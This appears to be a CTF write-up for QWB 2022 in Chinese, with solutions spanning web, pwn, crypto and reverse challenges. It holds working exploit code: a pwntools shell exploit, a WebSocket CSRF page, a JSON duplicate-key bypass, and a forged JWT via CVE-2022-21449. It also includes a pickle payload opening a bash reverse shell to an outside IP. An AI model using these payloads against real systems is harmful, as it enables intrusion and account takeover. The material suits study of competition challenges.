强网杯2022 S6
date
Aug 1, 2022
slug
qwb-2022-s6
status
Published
tags
CTF
WriteUP
summary
type
Post
Name: S1tra
Rank: 50
强网先锋
rcefile
pack 🐎 to phar then upload.
cat flag after get shell
第二种
利用反序列加spl_autoload_register函数
传一个inc,spl会自动加载inc,根据文件名写反序列化然后
<?php
class 文件名字叫啥就写啥{
function __construct(){
}
}
$p = new 文件名字叫啥就写啥();
echo urlencode(serialize($p));
?>
通过cookie传入反序列化然后在图片内容中放入命令执行就行啦
ASR
from Crypto.Util.number import *
n =8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c =945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
p1 = 223213222467584072959434495118689164399
p2 = 218566259296037866647273372633238739089
p3 = 260594583349478633632570848336184053653
p4 = 225933944608558304529179430753170813347
phi = p1*(p1-1)*p3*(p3-1)
d0 = inverse_mod(e, phi)
m0 = pow(c, d0, p1^2*p3^2)
print(long_to_bytes(m0))
N先factordb开根,然后yafu分解就可以了
devnull
from pwn import *
p=remote("182.92.82.77","35189")
context.log_level='debug'
elf=ELF('./devnull')
context(arch='amd64', os='linux')
p.recvuntil('filename')
payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)
p.send(payload)
sleep(1)
p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))
sleep(1)
p.sendline('exec 1>&2')
p.interactive()
溢出后栈迁移到load段上,写shellcode,拿下
Web
babyweb
websocket的csrf,通过该漏洞更改管理员密码,登录管理员账户
payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>1</title>
</head>
<body>
<meta charset="utf-8">
<script>
function ws_attack(){//自定义函数ws_attack
//定义函数功能
//创建WebSocket并赋值给ws变量
var ws = new WebSocket("ws://127.0.0.1:8888/bot");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
ws.onopen = function(evt) {
//当ws(WebSocket)处于连接状态时执行
ws.send("changepw 123456");
};
ws.onmessage = function(evt) {
//当ws(WebSocket)请求有响应信息时执行
//注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);
ws.close();
};
}
ws_attack();//执行ws_attact函数
</script>
</script>
</body>
</html>
页面放到vps上发给机器人点击
登录后可查看到源码
app.py
@app.route("/buy", methods=['POST'])
def buy():
if not session:
return redirect('/login')
elif session['user'] != 'admin':
return "you are not admin"
else :
result = {}
data = request.get_json()
product = data["product"]
for i in product:
if not isinstance(i["id"],int) or not isinstance(i["num"],int):
return "not int"
if i["id"] not in (1,2):
return "id error"
if i["num"] not in (0,1,2,3,4,5):
return "num error"
result[i["id"]] = i["num"]
sql = "select money,flag,hint from qwb where username='admin'"
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
cursor = c.execute(sql)
for row in cursor:
if len(row):
money = row[0]
flag = row[1]
hint = row[2]
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
r = requests.post("http://127.0.0.1:10002/pay",data).text
r = json.loads(r)
if r["error"] != 0:
return r["error"]
money = int(r["money"])
hint = hint + result[1]
flag = flag + result[2]
sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
conn = sqlite3.connect('/root/py/test.db')
c = conn.cursor()
try:
c.execute(sql)
conn.commit()
except Exception as e:
conn.rollback()
c.close()
conn.close()
return "database error"
return "success"
pay.go
package main
import (
"github.com/buger/jsonparser"
"fmt"
"net/http"
"io/ioutil"
"io"
)
func pay(w http.ResponseWriter, r *http.Request) {
var cost int64 = 0
var err1 int64 = 0
json, _ := ioutil.ReadAll(r.Body)
secret, err := jsonparser.GetString(json, "secret")
if err != nil {
fmt.Println(err)
}
if secret != "xxxx"{ //secret已打码
io.WriteString(w, "{\"error\": \"secret error\"}")
return
}
money, err := jsonparser.GetInt(json, "money")
if err != nil {
fmt.Println(err)
}
_, err = jsonparser.ArrayEach(
json,
func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
id, _ := jsonparser.GetInt(value, "id")
num, _ := jsonparser.GetInt(value, "num")
if id == 1{
cost = cost + 200 * num
}else if id == 2{
cost = cost + 1000 * num
}else{
err1 = 1
}
},
"product")
if err != nil {
fmt.Println(err)
}
if err1 == 1{
io.WriteString(w, "{\"error\": \"id error\"}")
return
}
if cost > money{
io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
return
}
money = money - cost
io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/pay", pay)
http.ListenAndServe(":10002", mux)
}
data = request.get_json()
product = data["product"]
for i in product:
if not isinstance(i["id"],int) or not isinstance(i["num"],int):
return "not int"
if i["id"] not in (1,2):
return "id error"
if i["num"] not in (0,1,2,3,4,5):
return "num error"
result[i["id"]] = i["num"]
这里使用了Python库的json解析器,对重复的键,它们会优先选用最后一个
绕过:
{
"product":[
{
"id":1,
"num":0
},
{
"id":2,
"num":-9,
"num":1
}
]
}
go语言写的代码里的jsonparser函数解析json时对于重复键值首键优先
money = money - cost
这一串代码加上Python代码中的更新数据库语句可以想到要把cost掷为负数就可以让money变多
构造payload
{
"product":[
{
"id":1,
"num":0
},
{
"id":2,
"num":-9,
"num":1
}
]
}
crash
python反序列化
admin=pickle.loads(b'\x80\x02capp\nUser\nq\x00)\x81q\x01}q\x02(X\x08\x00\x00\x00usernameq\x03X\x05\x00\x00\x00adminq\x04X\x05\x00\x00\x00tokenq\x05X\x05\x00\x00\x00Jn\x07\t\x00ub.')
print(base64.b64encode(admin))
#gASVPQAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMCHVzZXJuYW1llIwFYWRtaW6UjAV0b2tlbpSKCHa2y/cs3h7ldWIu
/balancer路由下Python反弹shell
import base64
b=base64.b64encode(b'(cos\nsystem\nX\x35\x00\x00\x00bash -c "bash -i >& /dev/tcp/121.196.247.6/2333 0>&1"o.')
a="bash -c \"bash -i >& /dev/tcp/121.196.247.6/2333 0>&1\""
print(len(a))
print(b)
# 字符串长度要改对应16进制
在环境里写一个flask,让nginx超时,显示504page
from flask import Flask
import random
import time
app = Flask(__name__, static_url_path='')
app.secret_key=random.randbytes(12)
@app.route('/', methods=['GET', 'POST'])
def index():
time.sleep(60000)
return ""
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Misc
问卷调查
flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}
Crypto
myJWT
CVE-2022-21449
nc 输入1
jwt decode
isadmin
: false
改为ture
base64 encodepart3改成
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Reverse
deeprev
原题来自GoogleCTF2022
GoogleCTF2022 - eldar writeups - Midas Blog (lkmidas.github.io)GoogleCTF 2022 - eldar (333 pt / 14 solves) (harrisongreen.me)
import lief
from collections import namedtuple
from dataclasses import dataclass
from typing import Any
from capstone import *
from z3 import *
import numpy as np
md = Cs(CS_ARCH_X86, CS_MODE_64)
b = None
try:
b = lief.ELF.parse(r"deeprev")
except:
raise Exception('Must have the ./eldar binary in cwd')
rela = [x for x in b.sections if x.name == '.rela.dyn'][0]
dynsym = [x for x in b.sections if x.name == '.dynsym'][0]
@dataclass
class Symbol(object):
idx: int
def __repr__(self):
return f's{self.idx}'
@dataclass
class Reloc(object):
idx: int
def __repr__(self):
return f'r{self.idx}'
@dataclass
class Ref(object):
val: Any
def __repr__(self):
return f'&{self.val}'
@dataclass
class SymAddr(object):
sym: Symbol
field: str
def __repr__(self):
return f'{self.sym}.{self.field}'
@dataclass
class RelocAddr(object):
reloc: Reloc
field: str
def __repr__(self):
return f'{self.reloc}.{self.field}'
def vaddr(self):
off = 0
match self.field:
case 'r_address':
off = 0
case 'r_info':
off = 8
case 'r_addend':
off = 16
return (self.reloc.idx * 24) + off + rela.virtual_address
@dataclass
class FlagAddr(object):
idx: int
def __repr__(self):
return f'flag[{self.idx}]'
@dataclass
class OutAddr(object):
idx: int
def __repr__(self):
return f'out[{self.idx}]'
@dataclass
class ArrAddr(object):
idx: int
def __repr__(self):
return f'arr[{self.idx}]'
BaseAddr = namedtuple('baseaddr', [])
FailAddr = namedtuple('fail', [])
def format_addr(addr: int):
if addr >= rela.virtual_address and addr < rela.virtual_address + rela.size:
offset = addr - rela.virtual_address
r_offset = (offset // 24)
r_rem = offset % 24
if r_offset >= 3 and r_offset <= 0x61:
arr_idx = (r_offset - 3) * 3 + (r_rem // 8)
return ArrAddr(arr_idx)
elif r_offset == 89:
return OutAddr(r_rem)
match r_rem:
case 0:
return RelocAddr(Reloc(r_offset), 'r_address')
case 8:
return RelocAddr(Reloc(r_offset), 'r_info')
case 16:
return RelocAddr(Reloc(r_offset), 'r_addend')
case _:
return RelocAddr(Reloc(r_offset), r_rem)
elif addr > dynsym.virtual_address and addr < dynsym.virtual_address + dynsym.size:
offset = addr - dynsym.virtual_address
print(hex(addr))
r_offset = (offset // 24)
r_rem = offset % 24
match r_rem:
case 0:
return SymAddr(Symbol(r_offset), 'st_name')
case 8:
return Symbol(r_offset)
case 16:
return SymAddr(Symbol(r_offset), 'st_size')
case _:
return SymAddr(Symbol(r_offset), r_rem)
elif addr >= 0x404040 and addr < 0x404040 + 0x21:
off = addr - 0x404040
return FlagAddr(off)
elif addr == 0x804000:
return BaseAddr()
elif addr == 0x40201D:
return FailAddr()
else:
return addr
def to_sym(name):
assert len(name) == 1
return Symbol(ord(name[0]))
Rel = namedtuple('REL', ['dst', 'val', 'ridx'])
Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])
R64 = namedtuple('R64', ['dst', 'symbol', 'addend', 'ridx'])
R32 = namedtuple('R32', ['dst', 'symbol', 'addend', 'ridx'])
def parse(b) -> list:
print('[*] Loading relocations...')
relocs = list(b.relocations)
relocs = relocs[:1267]
print('[*] Parsing...')
instructions = []
for i in range(3, len(relocs)):
r = relocs[i]
match r.type:
case 1: # R64
instructions.append(R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
case 5: # CPY
instructions.append(Copy(format_addr(r.address), to_sym(r.symbol.name), i))
case 8: # REL
instructions.append(Rel(format_addr(r.address), format_addr(r.addend), i))
case 10: # R32
instructions.append(R32(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
return instructions
Mov = namedtuple('mov', ['dst', 'src', 'sz', 'ridx'])
Add = namedtuple('add', ['dst', 'src', 'addend', 'ridx'])
def lift_mov_add(instructions):
idx = 0
sizes = []
curr = [8] * 8
sizes.append(curr)
for instr in instructions:
c = list(curr)
match instr:
case Rel(SymAddr(Symbol(idx), 'st_size'), val, ridx):
c[idx] = val
sizes.append(c)
while idx < len(instructions):
match instructions[idx]:
case Rel(dst, val, ridx):
instructions[idx] = Mov(dst, Ref(val), 8, ridx)
case Copy(dst, sym, ridx):
instructions[idx] = Mov(dst, sym, sizes[idx][sym.idx], ridx)
case R64(dst, sym, add, ridx):
instructions[idx] = Add(dst, sym, add, ridx)
idx += 1
return instructions
def remove_sizes(instructions):
# Sizes are now nops
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(SymAddr(Symbol(s), 'st_size'), _, _, _) if s != 3:
instructions[idx:idx + 1] = []
idx += 1
return instructions
def lift_indirect(instructions):
# [0349] :: mov r350.r_addend, s2
# [0350] :: add s4, s4, 0
# [0351] :: mov r350.r_addend, &0
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 3]:
case [
Mov(RelocAddr(Reloc(rel_1), 'r_addend'), Symbol(sidx_1), sz_1, ridx_1),
Add(dst_2, sym_2, _, ridx_2),
Mov(RelocAddr(Reloc(rel_3), 'r_addend'), Ref(0), sz_3, _),
] if (
(rel_1 == ridx_2) and (rel_3 == ridx_2)
):
instructions[idx:idx + 3] = [
Add(dst_2, sym_2, Symbol(sidx_1), ridx_1)
]
idx += 1
return instructions
Block = namedtuple('block', ['arr', 'flag', 'ridx'])
Output = namedtuple('output', ['out', 'arr', 'ridx'])
def lift_block(instructions):
# [0378] :: mov s2, &arr[1]
# [0008] :: add s4, s4, s2
# [0382] :: mov s2, &flag[1]
# [0384] :: movb s7, s2
# [0385] :: mov s2, &s7
# [0008] :: add s4, s4, s2
# [0390] :: r32 s4.st_value_p1, s1, 0
# [0391] :: mov s2, &arr[1]
# [0392] :: mov s6, s2
# [0393] :: mov s2, &s4
# [0008] :: add s5, s4, s2
# [0397] :: mov s2, &s5
# [0008] :: add s5, s5, s2
# [0008] :: add s5, s5, s2
# [0404] :: add s5, s5, arr[0]
# [0405] :: mov arr[1], s5
# [0406] :: mov r407.r_address, s2
# [0407] :: add 0, s6, 0
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 18]:
case [
Mov(_, arr, _, ridx),
Add(_, _, _, _),
Mov(_, flag, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
R32(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Add(_, _, _, _),
Add(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
]:
instructions[idx:idx + 18] = [
Block(arr, flag, ridx)
]
idx += 1
return instructions
Reset = namedtuple('reset', ['ridx'])
ShuffleBlock = namedtuple('shuffleblock', ['f1', 'f2', 'ridx'])
def lift_reset(instructions):
idx = 0
while idx < len(instructions) - 256:
good = True
for i in range(256):
op = instructions[idx + i]
if type(op) == Mov:
dst, src, _, _ = op
if dst != ArrAddr(i) or src != Ref(i):
good = False
break
else:
good = False
break
if good:
instructions[idx:idx + 256] = [Reset(instructions[idx].ridx)]
idx += 1
return instructions
def lift_shuffle_block(instructions):
idx = 0
while idx < len(instructions) - 256:
good = True
for i in range(256):
op = instructions[idx + i]
if type(op) == Block:
arr, flag, ridx = op
if arr != Ref(ArrAddr(i)):
good = False
break
else:
good = False
break
if good:
instructions[idx:idx + 256] = [ShuffleBlock(instructions[idx].flag, instructions[idx + 1].flag, instructions[idx].ridx)]
idx += 1
return instructions
Output = namedtuple('output', ['out', 'arr', 'ridx'])
def lift_output(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 26]:
case [
Mov(_, arr, _, ridx),
Add(_, _, _, _),
R32(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Add(_, _, _, _),
Add(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
R32(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Mov(_, _, _, _),
Add(_, _, _, _),
Add(_, _, _, _),
Add(_, _, _, _),
Mov(out, _, _, _),
]:
instructions[idx:idx + 26] = [Output(out, arr, ridx)]
idx += 1
return instructions
MultAdd = namedtuple('multadd', ['out', 'val', 'k', 'ridx'])
def lift_multadd(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 3]:
# block prefix
case [
Mov(Symbol(2), out, _, ridx),
Mov(Symbol(5), Symbol(2), _, _),
Mov(Symbol(6), Ref(0), _, _),
]:
k = 0
double = False
ptr = idx + 3
good = True
while ptr < len(instructions):
match instructions[ptr]:
case Mov(Symbol(2), Ref(Symbol(6)), _, _):
double = True
case Mov(Symbol(2), Ref(Symbol(5)), _, _):
double = False
case Add(Symbol(6), Symbol(6), Symbol(2), _):
k = (k * 2) if double else (k + 1)
case Add(Symbol(7), Symbol(7), Symbol(2), _):
ptr += 1
break
case _:
good = False
break
ptr += 1
if good:
instructions[idx:ptr] = [
MultAdd(Symbol(7), out, k, ridx)
]
idx += 1
return instructions
Trunc = namedtuple('trunc', ['val', 'k', 'ridx'])
def lift_truncate(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 2]:
case [
Mov(Symbol(2), Ref(SymAddr(Symbol(5), 11)), _, ridx),
Mov(SymAddr(Symbol(7), 11), Symbol(2), 5, _)
]:
instructions[idx:idx + 2] = [
Trunc(Symbol(7), 0xffffff, ridx)]
idx += 1
return instructions
ArraySlots = namedtuple('arr', ['values', 'ridx'])
def lift_array_slots(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(BaseAddr(), Ref(0), _, ridx):
ptr = idx + 1
while ptr < len(instructions):
op = instructions[ptr]
if type(op) != Mov or op.dst != BaseAddr():
break
ptr += 1
start = idx
end = ptr
data = []
# Check for movs into array.
vstart = RelocAddr(Reloc(ridx), 'r_address').vaddr()
offset = 0
while end + offset < len(instructions) and offset < ((end - start) * 3):
op = instructions[end + offset]
if type(op) == Mov and type(op.dst) is RelocAddr and op.dst.vaddr() == vstart + (offset * 8):
data.append(op.src.val)
else:
break
offset += 1
if len(data) > 0:
data += [0] * (((end - start) * 3) - len(data))
instructions[idx:end + offset] = [
ArraySlots(data, ridx)
]
idx += 1
return instructions
Shellcode = namedtuple('shellcode', ['dst', 'code', 'ridx'])
def lift_shellcode(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 6]:
case [
ArraySlots(values, ridx),
Mov(Symbol(3), Ref(RelocAddr(Reloc(rel2), 'r_address')), _, _),
Mov(SymAddr(Symbol(3), 'st_name'), _, _, _),
Add(dst, Symbol(3), _, _),
Mov(Symbol(2), _, _, _),
Mov(RelocAddr(Reloc(rel6), 'r_address'), Symbol(2), _, _)
] if (rel2 == ridx) and (rel6 == ridx):
instructions[idx:idx + 6] = [
Shellcode(dst, b''.join([(x & 0xffffffffffffffff).to_bytes(8, 'little') for x in values]), ridx)
]
idx += 1
return instructions
Aop = namedtuple('aop', ['dst', 'op', 'val', 'k', 'ridx'])
def lift_aop(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx + 5]:
case [
Mov(Symbol(2), val, _, ridx),
Mov(Symbol(5), Symbol(2), _, _),
Shellcode(_, data, _),
Mov(Symbol(2), Ref(Symbol(5)), _, _),
Add(dst, dst2, Symbol(2), _)
] if len(data) == 24 and (dst == dst2):
op = next(md.disasm(data, 0))
t = op.mnemonic
k = int(op.op_str.split(', ')[-1], 16)
instructions[idx:idx + 5] = [
Aop(dst, t, val, k, ridx)
]
idx += 1
return instructions
def solve_end_flag(instructions):
orig = [BitVec('f%d' % i, 8) for i in range(16, 28)]
flag = ([0] * 16) + [ZeroExt(24, x) for x in orig]
s = Solver()
for o in orig:
s.add(UGT(o, 0x20))
s.add(ULT(o, 0x7f))
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:
x = BitVecVal(v, 32)
ptr = idx + 1
while ptr < len(instructions):
match instructions[ptr]:
case MultAdd(Symbol(7), Ref(FlagAddr(f)), k, _):
x += (flag[f] * k)
case Aop(Symbol(7), op, Ref(FlagAddr(f)), k, _):
v = None
match op:
case 'and':
v = flag[f] & k
case 'xor':
v = flag[f] ^ k
case 'or':
v = flag[f] | k
case 'rol':
v = ZeroExt(24, RotateLeft(Extract(7, 0, flag[f]), k))
case 'ror':
v = ZeroExt(24, RotateRight(Extract(7, 0, flag[f]), k))
case 'shl':
v = ZeroExt(24, Extract(7, 0, flag[f]) << k)
case 'shr':
v = flag[f] >> k
case _:
raise Exception(f'unknown aop: {op}')
x += v
case Trunc(Symbol(7), k, _):
s.add(x == 0)
case _:
break
ptr += 1
idx += 1
print('solving...')
print(s.check())
m = s.model()
flag = bytes([m.eval(o).as_long() for o in orig])
return flag
def solve_out_arr(instructions):
X = []
Y = []
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:
row = []
ptr = idx + 1
while ptr < len(instructions):
match instructions[ptr]:
case MultAdd(Symbol(7), Ref(OutAddr(_)), k, _):
row.append(k)
case Trunc(Symbol(7), k, _):
X.append(row)
Y.append(-v)
case _:
break
ptr += 1
idx += 1
a = np.array(X, dtype=np.uint32)
b = np.array(Y, dtype=np.uint32)
return [int(x) for x in np.linalg.solve(a, b)]
def solve_start_flag(output):
def sim(a, b):
arr = list(range(256))
z = 0
for i in range(256):
p = a if i % 2 == 0 else b
z = (z + arr[i] + p) & 0xff
arr[i], arr[z] = arr[z], arr[i]
out = [0, 0, 0]
z = 0
for i in range(3):
z = (z + arr[i]) & 0xff
arr[i], arr[z] = arr[z], arr[i]
out[i] = arr[(arr[i] + arr[z]) & 0xff]
return out
def solve_chunk(k1, k2, k3):
# Brute force chunk.
for a in range(0x20, 0x7f):
for b in range(0x20, 0x7f):
out = sim(a, b)
if abs(out[0] - k1) <= 1 and abs(out[1] - k2) <= 1 and abs(out[2] - k3) <= 1:
return (a, b)
return None
f = []
for i in range(0, len(output), 3):
f += list(solve_chunk(*output[i:i + 3]))
return bytes(f)
def dump(instructions):
for op in instructions:
match op:
case Mov(SymAddr(sym, 'st_name'), Ref(val), 8, ridx) if type(val) is int:
name = val & 0xffffffff
info = (val >> 4) & 0xff
other = (val >> 5) & 0xff
shndx = (val >> 6) & 0xffff
print(f'[{ridx:04d}] :: setinfo {sym}, name=0x{name:x}, info=0x{info:x}, other=0x{other:x}, shndx=0x{shndx:x}')
case Mov(BaseAddr(), Ref(0), _, ridx):
print(f'[{ridx:04d}] :: [ARRAY SLOT]')
case Mov(dst, src, 8, ridx):
print(f'[{ridx:04d}] :: mov {dst}, {src}')
case Mov(dst, src, sz, ridx):
print(f'[{ridx:04d}] :: mov({sz}) {dst}, {src}')
case Add(dst, src, add, ridx):
print(f'[{ridx:04d}] :: add {dst}, {src}, {add}')
case R32(dst, src, add, ridx):
print(f'[{ridx:04d}] :: r32 {dst}, {src}, {add}')
case Block(arr, flag, ridx):
print(f'[{ridx:04d}] :: shuffle {arr}, {flag}')
case Output(out, arr, ridx):
print(f'[{ridx:04d}] :: output {out}, {arr}')
case ShuffleBlock(f1, f2, ridx):
print(f'[{ridx:04d}] :: shuffleblock {f1}, {f2}')
case MultAdd(dst, val, k, ridx):
print(f'[{ridx:04d}] :: madd {dst} += ({val} * {k})')
case Aop(dst, op, val, k, ridx):
print(f'[{ridx:04d}] :: aop {dst} += ({val} {op} {k})')
case Reset(ridx):
print(f'[{ridx:04d}] :: reset')
case Trunc(val, k, ridx):
print(f'[{ridx:04d}] :: trunc {val} &= 0x{k:x}')
case ArraySlots(values, ridx):
print(f'[{ridx:04d}] :: array [{", ".join([hex(x) for x in values])}]')
case Shellcode(dst, code, ridx):
print(f'[{ridx:04d}] :: exec {dst} <- {code.hex()}')
print('-' * 20)
for i in md.disasm(code, 0):
if i.mnemonic == 'ret':
break
print(" 0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str.replace('0x8040e4', 's5').replace('0x8040cc', 's4')))
print('-' * 20)
case _:
print(op)
LIFTS = [
lift_mov_add,
remove_sizes,
lift_indirect,
lift_block,
lift_reset,
lift_shuffle_block,
lift_output,
lift_multadd,
lift_truncate,
lift_array_slots,
lift_shellcode,
lift_aop,
]
def lift(instructions):
for lift_fn in LIFTS:
print(f'[*] {lift_fn.__name__}...')
instructions = lift_fn(instructions)
return instructions
instructions = parse(b)
instructions = lift(instructions)
dump(instructions)
根据IR分析出大致逻辑
但是脚本存在问题,shellcode加载不全,自己改个
from z3 import *
from capstone import *
data = open(r"deeprev", "rb").read()
mem = [b for b in b'\0' * 0x804000 + data[0x4000:0x25a000]]
md = Cs(CS_ARCH_X86, CS_MODE_64)
def write64(addr, val):
for i in range(8):
mem[addr + i] = (val >> (8 * i)) & 0xff
def write32(addr, val):
for i in range(4):
mem[addr + i] = (val >> (8 * i)) & 0xff
def writen(addr, val, n):
for i in range(n):
mem[addr + i] = (val >> (8 * i)) & 0xff
def read64(addr):
r = 0
for i in range(8):
r += (mem[addr + i] << (8 * i))
return r
def readn(addr, n):
r = 0
for i in range(n):
r += (mem[addr + i] << (8 * i))
return r
for i in range(28):
mem[0x404040 + i] = 0x61 + i
pc = 0x8042ba
dynsym = 0x80406c
regs = {}
for i in range(1, 11):
regs[dynsym + i * 24] = "VAL_" + chr(ord('A') + i - 1)
regs[dynsym + 8 + i * 24] = "LEN_" + chr(ord('A') + i - 1)
regs[dynsym - 8 + i * 24] = "TYPE_" + chr(ord('A') + i - 1)
shellcode = open("shell.bin", "wb")
while pc < 0x080B952:
print("{:08x}: ".format(pc), end="")
# if pc == 0x00a57b02:
# print(hex(read64(0x8040ac)))
# break
r_offset = read64(pc)
r_type = read64(pc + 8) & 0xffff
r_sym = read64(pc + 8) >> 32
r_addend = read64(pc + 16)
print_offset = hex(r_offset)[2:]
print_addend = hex(r_addend)[2:]
if r_offset in regs:
print_offset = regs[r_offset]
if r_addend in regs:
print_addend = "&" + regs[r_addend]
sym_addr = dynsym + r_sym * 24
if r_type == 8:
write64(r_offset, r_addend)
# print("RELA\t{}\t{:x}".format(print_offset, r_addend))
print("{} \t<- {}".format(print_offset, print_addend))
elif r_type == 5:
sym_len = read64(sym_addr + 8)
writen(r_offset, r_addend + readn(read64(sym_addr), sym_len), sym_len)
# print("COPY\t{}\t{}\t{:x}".format(print_offset, regs[sym_addr], r_addend))
print("{} \t<- [{} + {}]".format(print_offset, regs[sym_addr], print_addend))
elif r_type == 1:
if read64(0x8040ac) == 0x1000a0000001a and r_sym == 3:
shell_len = read64(pc + 24 * 2 + 16)
shell_addr = read64(0x8040b4)
shellcode.write(bytes(mem[shell_addr:shell_addr + shell_len]))
code = bytes(mem[shell_addr:shell_addr + shell_len])
write64(r_offset, 0)
# print("__64\t{}\t{}\t{:x} SHELLCODE".format(print_offset, regs[sym_addr], r_addend))
print("{} \t<- SHELLCODE".format(print_offset))
print('-' * 20)
for i in md.disasm(code, 0):
if i.mnemonic == 'ret':
break
print(" 0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str.replace('0x8040e4', 's5').replace('0x8040cc', 's4')))
print('-' * 20)
else:
write64(r_offset, r_addend + read64(sym_addr))
# print("__64\t{}\t{}\t{:x}".format(print_offset, regs[sym_addr], r_addend))
print("{} \t<- {} + {}".format(print_offset, regs[sym_addr], print_addend))
elif r_type == 0xa:
write32(r_offset, r_addend + read64(sym_addr))
# print("__32\t{}\t{}\t{:x}".format(print_offset, regs[sym_addr], r_addend))
print("{} \t<- DWORD({} + {})".format(print_offset, regs[sym_addr], print_addend))
elif r_type == 0:
break
else:
print("UNKNOWN R_TYPE")
break
pc += 24
print(mem[0x404064])
能看到形如以下
008042ba: 804000 <- 0
008042d2: 804000 <- 0
008042ea: VAL_B <- 404040
00804302: LEN_B <- 1
0080431a: VAL_D <- [VAL_B + 0]
00804332: 804000 <- 0
0080434a: 804332 <- 16008040cc253480
00804362: 80433a <- c3
0080437a: VAL_C <- 804332
00804392: TYPE_C <- 1000a0000001a
008043aa: 804332 <- SHELLCODE
--------------------
0x0: xor byte ptr [s4], 0x16
--------------------
008043c2: VAL_B <- a53f62
008043da: LEN_B <- 18
008043f2: 804332 <- [VAL_B + 0]
0080440a: 804000 <- 0
00804422: 80440a <- 8040cc250480
0080443a: 804412 <- c3
00804452: VAL_C <- 80440a
0080446a: TYPE_C <- 1000a0000001a
00804482: 80440a <- SHELLCODE
--------------------
0x0: add byte ptr [s4], 0
--------------------
算法长这样
(((xorkey[i]) ^ flag[i]) + i) ^ fake[i] == 0
同理分析后8字节算法
z3 solved
# -*- coding:utf-8 -*-
xorkey = [
0x16, 0x17, 0x10, 0x12,
0x10, 0x11, 0x12, 0x13,
0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x24, 0x2c,
0x26, 0x1e, 0x1f, 0x20,
0x20, 0x21, 0x23, 0x27,
0x24, 0x25, 0x26, 0x27,
]
fake = [
0x70, 0x7c, 0x73, 0x78,
0x6f, 0x27, 0x2a, 0x2c,
0x7f, 0x35, 0x2d, 0x32,
0x37, 0x3b, 0x22, 0x59,
0x53, 0x8e, 0x3d, 0x2a,
0x59, 0x27, 0x2d, 0x29,
0x34, 0x2d, 0x61, 0x32
]
from z3 import *
sol = Solver()
flag = [BitVec(f'flag[{i}]', 8) for i in range(32)]
for i in range(0, 28):
s2 = (((xorkey[i]) ^ flag[i]) + i) ^ fake[i]
sol.add(s2 == 0)
s2 = (flag[28] + flag[29]) ^ 0x6c
sol.add(s2 == 0)
s2 = (flag[28] + flag[28] + flag[29]) ^ 0xa1
sol.add(s2 == 0)
s2 = (flag[30] + flag[31]) ^ 0xb1
sol.add(s2 == 0)
s2 = (flag[30] + flag[30] + flag[31]) ^ 0xe5
sol.add(s2 == 0)
assert sol.check() == sat
mol = sol.model()
f = bytearray([mol.eval(flag[i]).as_long() for i in range(len(flag))])
print(f)
GameMaster
gamemessage decryption
binwalk能看到execute头,分离出来是个套娃.NET程序
# -*- coding:utf-8 -*-
data = open(r'gamemessage', "rb").read()
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 34
from Crypto.Cipher import AES
ctx = AES.new(
key=bytearray([66, 114, 97, 105, 110, 115, 116, 111, 114, 109, 105, 110, 103,33,33,33]),
mode=AES.MODE_ECB
)
out = ctx.decrypt(data)
# print(out[0x13EB:])
